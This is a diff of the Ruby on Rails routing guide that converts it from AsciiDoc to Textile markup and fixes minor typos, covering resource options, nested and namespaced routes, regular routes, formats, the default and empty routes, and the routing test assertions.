Rails allows you to group your controllers into namespaces by saving them in folders underneath +app/controllers+. The +:controller+ option provides a convenient way to use these routes. For example, you might have a resource whose controller is purely for admin users in the +admin+ folder:
-[source, ruby]
--------------------------------------------------------
+<ruby>
map.resources :adminphotos, :controller => "admin/photos"
--------------------------------------------------------
+</ruby>
-If you use controller namespaces, you need to be aware of a subtlety in the Rails routing code: it always tries to preserve as much of the namespace from the previous request as possible. For example, if you are on a view generated from the +adminphoto_path+ helper, and you follow a link generated with +<%= link_to "show", adminphoto(1) %>+ you will end up on the view generated by +admin/photos/show+ but you will also end up in the same place if you have +<%= link_to "show", {:controller => "photos", :action => "show"} %>+ because Rails will generate the show URL relative to the current URL.
+If you use controller namespaces, you need to be aware of a subtlety in the Rails routing code: it always tries to preserve as much of the namespace from the previous request as possible. For example, if you are on a view generated from the +adminphoto_path+ helper, and you follow a link generated with +&lt;%= link_to "show", adminphoto(1) %&gt;+ you will end up on the view generated by +admin/photos/show+, but you will also end up in the same place if you have +&lt;%= link_to "show", {:controller => "photos", :action => "show"} %&gt;+ because Rails will generate the show URL relative to the current URL.
-TIP: If you want to guarantee that a link goes to a top-level controller, use a preceding slash to anchor the controller name: +<%= link_to "show", {:controller => "/photos", :action => "show"} %>+
+TIP: If you want to guarantee that a link goes to a top-level controller, use a preceding slash to anchor the controller name: +&lt;%= link_to "show", {:controller => "/photos", :action => "show"} %&gt;+
You can also specify a controller namespace with the +:namespace+ option instead of a path:
-[source, ruby]
--------------------------------------------------------
+<ruby>
map.resources :adminphotos, :namespace => "admin", :controller => "photos"
--------------------------------------------------------
+</ruby>
This can be especially useful when combined with +with_options+ to map multiple namespaced routes together:
-[source, ruby]
--------------------------------------------------------
+<ruby>
map.with_options(:namespace => "admin") do |admin|
admin.resources :photos, :videos
end
--------------------------------------------------------
+</ruby>
That would give you routing for +admin/photos+ and +admin/videos+ controllers.
-==== Using :singular
+h5. Using +:singular+
If for some reason Rails isn't doing what you want in converting the plural resource name to a singular name in member routes, you can override its judgment with the +:singular+ option:
-[source, ruby]
--------------------------------------------------------
+<ruby>
map.resources :teeth, :singular => "tooth"
--------------------------------------------------------
+</ruby>
TIP: Depending on the other code in your application, you may prefer to add additional rules to the +Inflector+ class instead.
-==== Using :requirements
+h5. Using +:requirements+
-You an use the +:requirements+ option in a RESTful route to impose a format on the implied +:id+ parameter in the singular routes. For example:
+You can use the +:requirements+ option in a RESTful route to impose a format on the implied +:id+ parameter in the singular routes. For example:
-[source, ruby]
--------------------------------------------------------
+<ruby>
map.resources :photos, :requirements => {:id => /[A-Z][A-Z][0-9]+/}
--------------------------------------------------------
+</ruby>
This declaration constrains the +:id+ parameter to match the supplied regular expression. So, in this case, +/photos/1+ would no longer be recognized by this route, but +/photos/RR27+ would.
-==== Using :conditions
+h5. Using +:conditions+
Conditions in Rails routing are currently used only to set the HTTP verb for individual routes. Although in theory you can set this for RESTful routes, in practice there is no good reason to do so. (You'll learn more about conditions in the discussion of classic routing later in this guide.)
-==== Using :as
+h5. Using +:as+
The +:as+ option lets you override the normal naming for the actual generated paths. For example:
-[source, ruby]
--------------------------------------------------------
+<ruby>
map.resources :photos, :as => "images"
--------------------------------------------------------
-
-will recognize incoming URLs containing +image+ but route the requests to the Photos controller:
-
-[options="header"]
-|==========================================================================================================
-|HTTP verb |URL |controller |action |used for
-|GET |/images |Photos |index |display a list of all photos
-|GET |/images/new |Photos |new |return an HTML form for creating a new photo
-|POST |/images |Photos |create |create a new photo
-|GET |/images/1 |Photos |show |display a specific photo
-|GET |/images/1/edit |Photos |edit |return an HTML form for editing a photo
-|PUT |/images/1 |Photos |update |update a specific photo
-|DELETE |/images/1 |Photos |destroy |delete a specific photo
-|==========================================================================================================
+</ruby>
+
+will recognize incoming URLs containing +image+ but route the requests to the Photos controller:
+
+|_.HTTP verb|_.URL |_.controller|_.action |_:used for|
+|GET |/images |Photos |index |display a list of all photos|
+|GET |/images/new |Photos |new |return an HTML form for creating a new photo|
+|POST |/images |Photos |create |create a new photo|
+|GET |/images/1 |Photos |show |display a specific photo|
+|GET |/images/1/edit |Photos |edit |return an HTML form for editing a photo|
+|PUT |/images/1 |Photos |update |update a specific photo|
+|DELETE |/images/1 |Photos |destroy |delete a specific photo|
NOTE: The helpers will be generated with the name of the resource, not the path name. So in this case, you'd still get +photos_path+, +new_photo_path+, and so on.
-==== Using :path_names
+h5. Using +:path_names+
The +:path_names+ option lets you override the automatically-generated "new" and "edit" segments in URLs:
-[source, ruby]
--------------------------------------------------------
+<ruby>
map.resources :photos, :path_names => { :new => 'make', :edit => 'change' }
--------------------------------------------------------
+</ruby>
This would cause the routing to recognize URLs such as
--------------------------------------------------------
+<pre>
/photos/make
/photos/1/change
--------------------------------------------------------
+</pre>
-NOTE: The actual action names aren't changed by this option; the two URLs show would still route to the new and edit actions.
+NOTE: The actual action names aren't changed by this option; the two URLs shown would still route to the new and edit actions.
TIP: If you find yourself wanting to change this option uniformly for all of your routes, you can set a default in your environment:
-[source, ruby]
--------------------------------------------------------
+<ruby>
config.action_controller.resources_path_names = { :new => 'make', :edit => 'change' }
--------------------------------------------------------
+</ruby>
-==== Using :path_prefix
+h5. Using +:path_prefix+
The +:path_prefix+ option lets you add additional parameters that will be prefixed to the recognized paths. For example, suppose each photo in your application belongs to a particular photographer. In that case, you might declare this route:
-[source, ruby]
--------------------------------------------------------
+<ruby>
map.resources :photos, :path_prefix => '/photographers/:photographer_id'
--------------------------------------------------------
+</ruby>
Routes recognized by this entry would include:
--------------------------------------------------------
+<pre>
/photographers/1/photos/2
/photographers/1/photos
--------------------------------------------------------
+</pre>
NOTE: In most cases, it's simpler to recognize URLs of this sort by creating nested resources, as discussed in the next section.
NOTE: You can also use +:path_prefix+ with non-RESTful routes.
-==== Using :name_prefix
+h5. Using +:name_prefix+
You can use the :name_prefix option to avoid collisions between routes. This is most useful when you have two resources with the same name that use +:path_prefix+ to map differently. For example:
-[source, ruby]
--------------------------------------------------------
-map.resources :photos, :path_prefix => '/photographers/:photographer_id', :name_prefix => 'photographer_'
-map.resources :photos, :path_prefix => '/agencies/:agency_id', :name_prefix => 'agency_'
--------------------------------------------------------
+<ruby>
+map.resources :photos, :path_prefix => '/photographers/:photographer_id',
+ :name_prefix => 'photographer_'
+map.resources :photos, :path_prefix => '/agencies/:agency_id',
+ :name_prefix => 'agency_'
+</ruby>
This combination will give you route helpers such as +photographer_photos_path+ and +agency_edit_photo_path+ to use in your code.
NOTE: You can also use +:name_prefix+ with non-RESTful routes.
-==== Using :only and :except
+h5. Using +:only+ and +:except+
By default, Rails creates routes for all seven of the default actions (index, show, new, create, edit, update, and destroy) for every RESTful route in your application. You can use the +:only+ and +:except+ options to fine-tune this behavior. The +:only+ option specifies that only certain routes should be generated:
-[source, ruby]
--------------------------------------------------------
+<ruby>
map.resources :photos, :only => [:index, :show]
--------------------------------------------------------
+</ruby>
With this declaration, a +GET+ request to +/photos+ would succeed, but a +POST+ request to +/photos+ (which would ordinarily be routed to the create action) will fail.
The +:except+ option specifies a route or list of routes that should _not_ be generated:
-[source, ruby]
--------------------------------------------------------
+<ruby>
map.resources :photos, :except => :destroy
--------------------------------------------------------
+</ruby>
-In this case, all of the normal routes except the route for +destroy+ (a +DELETE+ request to +/photos/_id_+) will be generated.
+In this case, all of the normal routes except the route for +destroy+ (a +DELETE+ request to +/photos/<em>id</em>+) will be generated.
In addition to an action or a list of actions, you can also supply the special symbols +:all+ or +:none+ to the +:only+ and +:except+ options.
TIP: If your application has many RESTful routes, using +:only+ and +:except+ to generate only the routes that you actually need can cut down on memory use and speed up the routing process.
-=== Nested Resources
+h4. Nested Resources
It's common to have resources that are logically children of other resources. For example, suppose your application includes these models:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class Magazine < ActiveRecord::Base
has_many :ads
end
@@ -435,474 +406,430 @@ end
class Ad < ActiveRecord::Base
belongs_to :magazine
end
--------------------------------------------------------
+</ruby>
Each ad is logically subservient to one magazine. Nested routes allow you to capture this relationship in your routing. In this case, you might include this route declaration:
-[source, ruby]
--------------------------------------------------------
+<ruby>
map.resources :magazines do |magazine|
magazine.resources :ads
-end
--------------------------------------------------------
+end
+</ruby>
+
+TIP: Further below you'll learn about a convenient shortcut for this construct:<br/>+map.resources :magazines, :has_many => :ads+.
In addition to the routes for magazines, this declaration will also create routes for ads, each of which requires the specification of a magazine in the URL:
-[options="header"]
-|==========================================================================================================
-|HTTP verb |URL |controller |action |used for
-|GET |/magazines/1/ads |Ads |index |display a list of all ads for a specific magazine
-|GET |/magazines/1/ads/new |Ads |new |return an HTML form for creating a new ad belonging to a specific magazine
-|POST |/magazines/1/ads |Ads |create |create a new ad belonging to a specific magazine
-|GET |/magazines/1/ads/1 |Ads |show |display a specific ad belonging to a specific magazine
-|GET |/magazines/1/ads/1/edit |Ads |edit |return an HTML form for editing an ad belonging to a specific magazine
-|PUT |/magazines/1/ads/1 |Ads |update |update a specific ad belonging to a specific magazine
-|DELETE |/magazines/1/ads/1 |Ads |destroy |delete a specific ad belonging to a specific magazine
-|==========================================================================================================
+|_.HTTP verb|_.URL |_.controller|_.action |_.used for|
+|GET |/magazines/1/ads |Ads |index |display a list of all ads for a specific magazine|
+|GET |/magazines/1/ads/new |Ads |new |return an HTML form for creating a new ad belonging to a specific magazine|
+|POST |/magazines/1/ads |Ads |create |create a new ad belonging to a specific magazine|
+|GET |/magazines/1/ads/1 |Ads |show |display a specific ad belonging to a specific magazine|
+|GET |/magazines/1/ads/1/edit |Ads |edit |return an HTML form for editing an ad belonging to a specific magazine|
+|PUT |/magazines/1/ads/1 |Ads |update |update a specific ad belonging to a specific magazine|
+|DELETE |/magazines/1/ads/1 |Ads |destroy |delete a specific ad belonging to a specific magazine|
+
This will also create routing helpers such as +magazine_ads_url+ and +edit_magazine_ad_path+.
-==== Using :name_prefix
+h5. Using +:name_prefix+
The +:name_prefix+ option overrides the automatically-generated prefix in nested route helpers. For example,
-[source, ruby]
--------------------------------------------------------
+<ruby>
map.resources :magazines do |magazine|
magazine.resources :ads, :name_prefix => 'periodical'
-end
--------------------------------------------------------
+end
+</ruby>
This will create routing helpers such as +periodical_ads_url+ and +periodical_edit_ad_path+. You can even use +:name_prefix+ to suppress the prefix entirely:
-[source, ruby]
--------------------------------------------------------
+<ruby>
map.resources :magazines do |magazine|
magazine.resources :ads, :name_prefix => nil
-end
--------------------------------------------------------
+end
+</ruby>
This will create routing helpers such as +ads_url+ and +edit_ad_path+. Note that calling these will still require supplying an article id:
-[source, ruby]
--------------------------------------------------------
+<ruby>
ads_url(@magazine)
edit_ad_path(@magazine, @ad)
--------------------------------------------------------
+</ruby>
-==== Using :has_one and :has_many
+h5. Using +:has_one+ and +:has_many+
The +:has_one+ and +:has_many+ options provide a succinct notation for simple nested routes. Use +:has_one+ to nest a singleton resource, or +:has_many+ to nest a plural resource:
-[source, ruby]
--------------------------------------------------------
+<ruby>
map.resources :photos, :has_one => :photographer, :has_many => [:publications, :versions]
--------------------------------------------------------
+</ruby>
This has the same effect as this set of declarations:
-[source, ruby]
--------------------------------------------------------
+<ruby>
map.resources :photos do |photo|
photo.resource :photographer
photo.resources :publications
photo.resources :versions
end
--------------------------------------------------------
-
-==== Limits to Nesting
+</ruby>
+
+h5. Limits to Nesting
You can nest resources within other nested resources if you like. For example:
-[source, ruby]
--------------------------------------------------------
+<ruby>
map.resources :publishers do |publisher|
publisher.resources :magazines do |magazine|
magazine.resources :photos
end
end
--------------------------------------------------------
+</ruby>
However, without the use of +name_prefix => nil+, deeply-nested resources quickly become cumbersome. In this case, for example, the application would recognize URLs such as
--------------------------------------------------------
+<pre>
/publishers/1/magazines/2/photos/3
--------------------------------------------------------
+</pre>
-The corresponding route helper would be +publisher_magazine_photo_url+, requiring you to specify objects at all three levels. Indeed, this situation is confusing enough that a popular link:http://weblog.jamisbuck.org/2007/2/5/nesting-resources[article] by Jamis Buck proposes a rule of thumb for good Rails design:
+The corresponding route helper would be +publisher_magazine_photo_url+, requiring you to specify objects at all three levels. Indeed, this situation is confusing enough that a popular "article":http://weblog.jamisbuck.org/2007/2/5/nesting-resources by Jamis Buck proposes a rule of thumb for good Rails design:
-_Resources should never be nested more than 1 level deep._
+TIP: _Resources should never be nested more than 1 level deep._
-==== Shallow Nesting
+h5. Shallow Nesting
The +:shallow+ option provides an elegant solution to the difficulties of deeply-nested routes. If you specify this option at any level of routing, then paths for nested resources which reference a specific member (that is, those with an +:id+ parameter) will not use the parent path prefix or name prefix. To see what this means, consider this set of routes:
-[source, ruby]
--------------------------------------------------------
+<ruby>
map.resources :publishers, :shallow => true do |publisher|
publisher.resources :magazines do |magazine|
magazine.resources :photos
end
end
--------------------------------------------------------
+</ruby>
This will enable recognition of (among others) these routes:
--------------------------------------------------------
+<pre>
/publishers/1 ==> publisher_path(1)
/publishers/1/magazines ==> publisher_magazines_path(1)
/magazines/2 ==> magazine_path(2)
/magazines/2/photos ==> magazines_photos_path(2)
/photos/3 ==> photo_path(3)
--------------------------------------------------------
+</pre>
With shallow nesting, you need only supply enough information to uniquely identify the resource that you want to work with. If you like, you can combine shallow nesting with the +:has_one+ and +:has_many+ options:
-[source, ruby]
--------------------------------------------------------
+<ruby>
map.resources :publishers, :has_many => { :magazines => :photos }, :shallow => true
--------------------------------------------------------
+</ruby>
-=== Route Generation from Arrays
+h4. Route Generation from Arrays
In addition to using the generated routing helpers, Rails can also generate RESTful routes from an array of parameters. For example, suppose you have a set of routes generated with these entries in routes.rb:
-[source, ruby]
--------------------------------------------------------
+<ruby>
map.resources :magazines do |magazine|
magazine.resources :ads
end
--------------------------------------------------------
+</ruby>
Rails will generate helpers such as magazine_ad_path that you can use in building links:
-[source, ruby]
--------------------------------------------------------
+<ruby>
<%= link_to "Ad details", magazine_ad_path(@magazine, @ad) %>
--------------------------------------------------------
+</ruby>
Another way to refer to the same route is with an array of objects:
-[source, ruby]
--------------------------------------------------------
+<ruby>
<%= link_to "Ad details", [@magazine, @ad] %>
--------------------------------------------------------
+</ruby>
This format is especially useful when you might not know until runtime which of several types of object will be used in a particular link.
-
-=== Namespaced Resources
+
+h4. Namespaced Resources
It's possible to do some quite complex things by combining +:path_prefix+ and +:name_prefix+. For example, you can use the combination of these two options to move administrative resources to their own folder in your application:
-[source, ruby]
--------------------------------------------------------
+<ruby>
map.resources :photos, :path_prefix => 'admin', :controller => 'admin/photos'
map.resources :tags, :name_prefix => 'admin_photo_', :path_prefix => 'admin/photos/:photo_id', :controller => 'admin/photo_tags'
map.resources :ratings, :name_prefix => 'admin_photo_', :path_prefix => 'admin/photos/:photo_id', :controller => 'admin/photo_ratings'
--------------------------------------------------------
+</ruby>
The good news is that if you find yourself using this level of complexity, you can stop. Rails supports _namespaced resources_ to make placing resources in their own folder a snap. Here's the namespaced version of those same three routes:
-[source, ruby]
--------------------------------------------------------
+<ruby>
map.namespace(:admin) do |admin|
admin.resources :photos,
:has_many => { :tags, :ratings}
end
--------------------------------------------------------
+</ruby>
As you can see, the namespaced version is much more succinct than the one that spells everything out - but it still creates the same routes. For example, you'll get +admin_photos_url+ that expects to find an +Admin::PhotosController+ and that matches +admin/photos+, and +admin_photos_ratings_path+ that matches +/admin/photos/_photo_id_/ratings+, expecting to use +Admin::RatingsController+. Even though you're not specifying +path_prefix+ explicitly, the routing code will calculate the appropriate +path_prefix+ from the route nesting.
-=== Adding More RESTful Actions
+h4. Adding More RESTful Actions
You are not limited to the seven routes that RESTful routing creates by default. If you like, you may add additional member routes (those which apply to a single instance of the resource), additional new routes (those that apply to creating a new resource), or additional collection routes (those which apply to the collection of resources as a whole).
-==== Adding Member Routes
+h5. Adding Member Routes
To add a member route, use the +:member+ option:
-[source, ruby]
--------------------------------------------------------
+<ruby>
map.resources :photos, :member => { :preview => :get }
--------------------------------------------------------
+</ruby>
-This will enable Rails to recognize URLs such as +/photos/1/preview+ using the GET HTTP verb, and route them to the preview action of the Photos controller. It will also create a +preview_photo+ route helper.
+This will enable Rails to recognize URLs such as +/photos/1/preview+ using the GET HTTP verb, and route them to the preview action of the Photos controller. It will also create the +preview_photo_url+ and +preview_photo_path+ route helpers.
Within the hash of member routes, each route name specifies the HTTP verb that it will recognize. You can use +:get+, +:put+, +:post+, +:delete+, or +:any+ here. You can also specify an array of methods, if you need more than one but you don't want to allow just anything:
-[source, ruby]
--------------------------------------------------------
+<ruby>
map.resources :photos, :member => { :prepare => [:get, :post] }
--------------------------------------------------------
+</ruby>
-==== Adding Collection Routes
+h5. Adding Collection Routes
To add a collection route, use the +:collection+ option:
-[source, ruby]
--------------------------------------------------------
+<ruby>
map.resources :photos, :collection => { :search => :get }
--------------------------------------------------------
+</ruby>
-This will enable Rails to recognize URLs such as +/photos/search+ using the GET HTTP verb, and route them to the search action of the Photos controller. It will also create a +search_photos+ route helper.
+This will enable Rails to recognize URLs such as +/photos/search+ using the GET HTTP verb, and route them to the search action of the Photos controller. It will also create the +search_photos_url+ and +search_photos_path+ route helpers.
Just as with member routes, you can specify an array of methods for a collection route:
-[source, ruby]
--------------------------------------------------------
+<ruby>
map.resources :photos, :collection => { :search => [:get, :post] }
--------------------------------------------------------
+</ruby>
-==== Adding New Routes
+h5. Adding New Routes
To add a new route (one that creates a new resource), use the +:new+ option:
-[source, ruby]
--------------------------------------------------------
+<ruby>
map.resources :photos, :new => { :upload => :post }
--------------------------------------------------------
-
-This will enable Rails to recognize URLs such as +/photos/upload+ using the POST HTTP verb, and route them to the upload action of the Photos controller. It will also create a +upload_photos+ route helper.
-
-TIP: If you want to redefine the verbs accepted by one of the standard actions, you can do so by explicitly mapping that action. For example:
+</ruby>
-[source, ruby]
--------------------------------------------------------
-map.resources :photos, :new => { :new => :any }
--------------------------------------------------------
+This will enable Rails to recognize URLs such as +/photos/upload+ using the POST HTTP verb, and route them to the upload action of the Photos controller. It will also create the +upload_photos_path+ and +upload_photos_url+ route helpers.
-This will allow the new action to be invoked by any request to +photos/new+, no matter what HTTP verb you use.
+TIP: If you want to redefine the verbs accepted by one of the standard actions, you can do so by explicitly mapping that action. For example:<br/>+map.resources :photos, :new => { :new => :any }+<br/>This will allow the new action to be invoked by any request to +photos/new+, no matter what HTTP verb you use.
-==== A Note of Caution
+h5. A Note of Caution
If you find yourself adding many extra actions to a RESTful route, it's time to stop and ask yourself whether you're disguising the presence of another resource that would be better split off on its own. When the +:member+ and +:collection+ hashes become a dumping-ground, RESTful routes lose the advantage of easy readability that is one of their strongest points.
-== Regular Routes
+h3. Regular Routes
In addition to RESTful routing, Rails supports regular routing - a way to map URLs to controllers and actions. With regular routing, you don't get the masses of routes automatically generated by RESTful routing. Instead, you must set up each route within your application separately.
-While RESTful routing has become the Rails standard, there are still plenty of places where the simpler regular routing works fine. You can even mix the two styles within a single application. In general, you should prefer RESTful routing _when possible_, because it will make parts of your application easier to write. But there's no need to try to shoehorn every last piece of your application into a RESTful framework if that's not a good fit.
+While RESTful routing has become the Rails standard, there are still plenty of places where the simpler regular routing works fine. You can even mix the two styles within a single application. In general, you should prefer RESTful routing _when possible_, because it will make parts of your application easier to write. But there's no need to try to shoehorn every last piece of your application into a RESTful framework if that's not a good fit.
-=== Bound Parameters
+h4. Bound Parameters
When you set up a regular route, you supply a series of symbols that Rails maps to parts of an incoming HTTP request. Two of these symbols are special: +:controller+ maps to the name of a controller in your application, and +:action+ maps to the name of an action within that controller. For example, consider one of the default Rails routes:
-[source, ruby]
--------------------------------------------------------
+<ruby>
map.connect ':controller/:action/:id'
--------------------------------------------------------
+</ruby>
If an incoming request of +/photos/show/1+ is processed by this route (because it hasn't matched any previous route in the file), then the result will be to invoke the +show+ action of the +Photos+ controller, and to make the final parameter (1) available as +params[:id]+.
-=== Wildcard Components
+h4. Wildcard Components
You can set up as many wildcard symbols within a regular route as you like. Anything other than +:controller+ or +:action+ will be available to the matching action as part of the params hash. So, if you set up this route:
-[source, ruby]
--------------------------------------------------------
+<ruby>
map.connect ':controller/:action/:id/:user_id'
--------------------------------------------------------
+</ruby>
An incoming URL of +/photos/show/1/2+ will be dispatched to the +show+ action of the +Photos+ controller. +params[:id]+ will be set to 1, and +params[:user_id]+ will be set to 2.
-=== Static Text
+h4. Static Text
You can specify static text when creating a route. In this case, the static text is used only for matching the incoming requests:
-[source, ruby]
--------------------------------------------------------
+<ruby>
map.connect ':controller/:action/:id/with_user/:user_id'
--------------------------------------------------------
+</ruby>
This route would respond to URLs such as +/photos/show/1/with_user/2+.
-=== Querystring Parameters
+h4. Querystring Parameters
Rails routing automatically picks up querystring parameters and makes them available in the +params+ hash. For example, with this route:
-[source, ruby]
--------------------------------------------------------
+<ruby>
map.connect ':controller/:action/:id'
--------------------------------------------------------
+</ruby>
An incoming URL of +/photos/show/1?user_id=2+ will be dispatched to the +show+ action of the +Photos+ controller. +params[:id]+ will be set to 1, and +params[:user_id]+ will be equal to 2.
-=== Defining Defaults
+h4. Defining Defaults
You do not need to explicitly use the +:controller+ and +:action+ symbols within a route. You can supply defaults for these two parameters in a hash:
-[source, ruby]
--------------------------------------------------------
+<ruby>
map.connect 'photos/:id', :controller => 'photos', :action => 'show'
--------------------------------------------------------
+</ruby>
With this route, an incoming URL of +/photos/12+ would be dispatched to the +show+ action within the +Photos+ controller.
-You an also define other defaults in a route by supplying a hash for the +:defaults+ option. This even applies to parameters that are not explicitly defined elsewhere in the route. For example:
+You can also define other defaults in a route by supplying a hash for the +:defaults+ option. This even applies to parameters that are not explicitly defined elsewhere in the route. For example:
-[source, ruby]
--------------------------------------------------------
-map.connect 'photos/:id', :controller => 'photos', :action => 'show', :defaults => { :format => 'jpg' }
--------------------------------------------------------
+<ruby>
+map.connect 'photos/:id', :controller => 'photos', :action => 'show',
+ :defaults => { :format => 'jpg' }
+</ruby>
With this route, an incoming URL of +photos/12+ would be dispatched to the +show+ action within the +Photos+ controller, and +params[:format]+ will be set to +jpg+.
-=== Named Routes
+h4. Named Routes
Regular routes need not use the +connect+ method. You can use any other name here to create a _named route_. For example,
-[source, ruby]
--------------------------------------------------------
+<ruby>
map.logout '/logout', :controller => 'sessions', :action => 'destroy'
--------------------------------------------------------
+</ruby>
This will do two things. First, requests to +/logout+ will be sent to the +destroy+ method of the +Sessions+ controller. Second, Rails will maintain the +logout_path+ and +logout_url+ helpers for use within your code.
-=== Route Requirements
+h4. Route Requirements
You can use the +:requirements+ option to enforce a format for any parameter in a route:
-[source, ruby]
--------------------------------------------------------
+<ruby>
map.connect 'photo/:id', :controller => 'photos', :action => 'show',
:requirements => { :id => /[A-Z]\d{5}/ }
--------------------------------------------------------
+</ruby>
This route would respond to URLs such as +/photo/A12345+. You can more succinctly express the same route this way:
-[source, ruby]
--------------------------------------------------------
+<ruby>
map.connect 'photo/:id', :controller => 'photos', :action => 'show',
- :id => /[A-Z]\d{5}/
--------------------------------------------------------
+ :id => /[A-Z]\d{5}/
+</ruby>
-=== Route Conditions
+h4. Route Conditions
Route conditions (introduced with the +:conditions+ option) are designed to implement restrictions on routes. Currently, the only supported restriction is +:method+:
-[source, ruby]
--------------------------------------------------------
+<ruby>
map.connect 'photo/:id', :controller => 'photos', :action => 'show',
:conditions => { :method => :get }
--------------------------------------------------------
+</ruby>
As with conditions in RESTful routes, you can specify +:get+, +:post+, +:put+, +:delete+, or +:any+ for the acceptable method.
-=== Route Globbing
+h4. Route Globbing
Route globbing is a way to specify that a particular parameter should be matched to all the remaining parts of a route. For example
-[source, ruby]
--------------------------------------------------------
+<ruby>
map.connect 'photo/*other', :controller => 'photos', :action => 'unknown',
--------------------------------------------------------
+</ruby>
This route would match +photo/12+ or +/photo/long/path/to/12+ equally well, creating an array of path segments as the value of +params[:other]+.
-=== Route Options
+h4. Route Options
You can use +:with_options+ to simplify defining groups of similar routes:
-[source, ruby]
--------------------------------------------------------
+<ruby>
map.with_options :controller => 'photo' do |photo|
photo.list '', :action => 'index'
photo.delete ':id/delete', :action => 'delete'
photo.edit ':id/edit', :action => 'edit'
end
--------------------------------------------------------
+</ruby>
The importance of +map.with_options+ has declined with the introduction of RESTful routes.
-== Formats and respond_to
+h3. Formats and +respond_to+
There's one more way in which routing can do different things depending on differences in the incoming HTTP request: by issuing a response that corresponds to what the request specifies that it will accept. In Rails routing, you can control this with the special +:format+ parameter in the route.
For instance, consider the second of the default routes in the boilerplate +routes.rb+ file:
-[source, ruby]
--------------------------------------------------------
+<ruby>
map.connect ':controller/:action/:id.:format'
--------------------------------------------------------
+</ruby>
This route matches requests such as +/photo/edit/1.xml+ or +/photo/show/2.rss+. Within the appropriate action code, you can issue different responses depending on the requested format:
-[source, ruby]
--------------------------------------------------------
+<ruby>
respond_to do |format|
format.html # return the default template for HTML
format.xml { render :xml => @photo.to_xml }
end
--------------------------------------------------------
+</ruby>
-=== Specifying the Format with an HTTP Header
+h4. Specifying the Format with an HTTP Header
If there is no +:format+ parameter in the route, Rails will automatically look at the HTTP Accept header to determine the desired format.
-=== Recognized MIME types
+h4. Recognized MIME types
By default, Rails recognizes +html+, +text+, +json+, +csv+, +xml+, +rss+, +atom+, and +yaml+ as acceptable response types. If you need types beyond this, you can register them in your environment:
-[source, ruby]
--------------------------------------------------------
+<ruby>
Mime::Type.register "image/jpg", :jpg
--------------------------------------------------------
+</ruby>
-== The Default Routes
+h3. The Default Routes
When you create a new Rails application, +routes.rb+ is initialized with two default routes:
-[source, ruby]
--------------------------------------------------------
+<ruby>
map.connect ':controller/:action/:id'
map.connect ':controller/:action/:id.:format'
--------------------------------------------------------
+</ruby>
These routes provide reasonable defaults for many URLs, if you're not using RESTful routing.
NOTE: The default routes will make every action of every controller in your application accessible to GET requests. If you've designed your application to make consistent use of RESTful and named routes, you should comment out the default routes to prevent access to your controllers through the wrong verbs. If you've had the default routes enabled during development, though, you need to be sure that you haven't unwittingly depended on them somewhere in your application - otherwise you may find mysterious failures when you disable them.
-== The Empty Route
+h3. The Empty Route
Don't confuse the default routes with the empty route. The empty route has one specific purpose: to route requests that come in to the root of the web site. For example, if your site is example.com, then requests to +http://example.com+ or +http://example.com/+ will be handled by the empty route.
-=== Using map.root
+h4. Using +map.root+
The preferred way to set up the empty route is with the +map.root+ command:
-[source, ruby]
--------------------------------------------------------
+<ruby>
map.root :controller => "pages", :action => "main"
--------------------------------------------------------
+</ruby>
The use of the +root+ method tells Rails that this route applies to requests for the root of the site.
For better readability, you can specify an already-created route in your call to +map.root+:
-[source, ruby]
--------------------------------------------------------
+<ruby>
map.index 'index', :controller => "pages", :action => "main"
map.root :index
--------------------------------------------------------
+</ruby>
Because of the top-down processing of the file, the named route must be specified _before_ the call to +map.root+.
-=== Connecting the Empty String
+h4. Connecting the Empty String
You can also specify an empty route by explicitly connecting the empty string:
-[source, ruby]
--------------------------------------------------------
+<ruby>
map.connect '', :controller => "pages", :action => "main"
--------------------------------------------------------
+</ruby>
TIP: If the empty route does not seem to be working in your application, make sure that you have deleted the file +public/index.html+ from your Rails tree.
-== Inspecting and Testing Routes
+h3. Inspecting and Testing Routes
Routing in your application should not be a "black box" that you never open. Rails offers built-in tools for both inspecting and testing routes.
-=== Seeing Existing Routes with rake
+h4. Seeing Existing Routes with +rake+
If you want a complete list of all of the available routes in your application, run the +rake routes+ command. This will dump all of your routes to the console, in the same order that they appear in +routes.rb+. For each route, you'll see:
@@ -913,69 +840,64 @@ If you want a complete list of all of the available routes in your application,
For example, here's a small section of the +rake routes+ output for a RESTful route:
--------------------------------------------------------------------------------------------------------
+<pre>
users GET /users {:controller=>"users", :action=>"index"}
formatted_users GET /users.:format {:controller=>"users", :action=>"index"}
POST /users {:controller=>"users", :action=>"create"}
POST /users.:format {:controller=>"users", :action=>"create"}
--------------------------------------------------------------------------------------------------------
+</pre>
TIP: You'll find that the output from +rake routes+ is much more readable if you widen your terminal window until the output lines don't wrap.
-=== Testing Routes
+h4. Testing Routes
-Routes should be included in your testing strategy (just like the rest of your application). Rails offers three link:http://api.rubyonrails.com/classes/ActionController/Assertions/RoutingAssertions.html[built-in assertions] designed to make testing routes simpler:
+Routes should be included in your testing strategy (just like the rest of your application). Rails offers three "built-in assertions":http://api.rubyonrails.org/classes/ActionController/Assertions/RoutingAssertions.html designed to make testing routes simpler:
* +assert_generates+
* +assert_recognizes+
* +assert_routing+
-==== The +assert_generates+ Assertion
+h5. The +assert_generates+ Assertion
Use +assert_generates+ to assert that a particular set of options generate a particular path. You can use this with default routes or custom routes
-[source, ruby]
--------------------------------------------------------
+<ruby>
assert_generates "/photos/1", { :controller => "photos", :action => "show", :id => "1" }
assert_generates "/about", :controller => "pages", :action => "about"
--------------------------------------------------------
+</ruby>
-==== The +assert_recognizes+ Assertion
+h5. The +assert_recognizes+ Assertion
The +assert_recognizes+ assertion is the inverse of +assert_generates+. It asserts that Rails recognizes the given path and routes it to a particular spot in your application.
-[source, ruby]
--------------------------------------------------------
+<ruby>
assert_recognizes { :controller => "photos", :action => "show", :id => "1" }, "/photos/1"
--------------------------------------------------------
+</ruby>
You can supply a +:method+ argument to specify the HTTP verb:
-[source, ruby]
--------------------------------------------------------
+<ruby>
assert_recognizes { :controller => "photos", :action => "create" }, { :path => "photos", :method => :post }
--------------------------------------------------------
+</ruby>
You can also use the RESTful helpers to test recognition of a RESTful route:
-[source, ruby]
--------------------------------------------------------
+<ruby>
assert_recognizes new_photo_url, { :path => "photos", :method => :post }
--------------------------------------------------------
+</ruby>
-==== The +assert_routing+ Assertion
+h5. The +assert_routing+ Assertion
The +assert_routing+ assertion checks the route both ways: it tests that the path generates the options, and that the options generate the path. Thus, it combines the functions of +assert_generates+ and +assert_recognizes+.
-[source, ruby]
--------------------------------------------------------
+<ruby>
assert_routing { :path => "photos", :method => :post }, { :controller => "photos", :action => "create" }
--------------------------------------------------------
+</ruby>
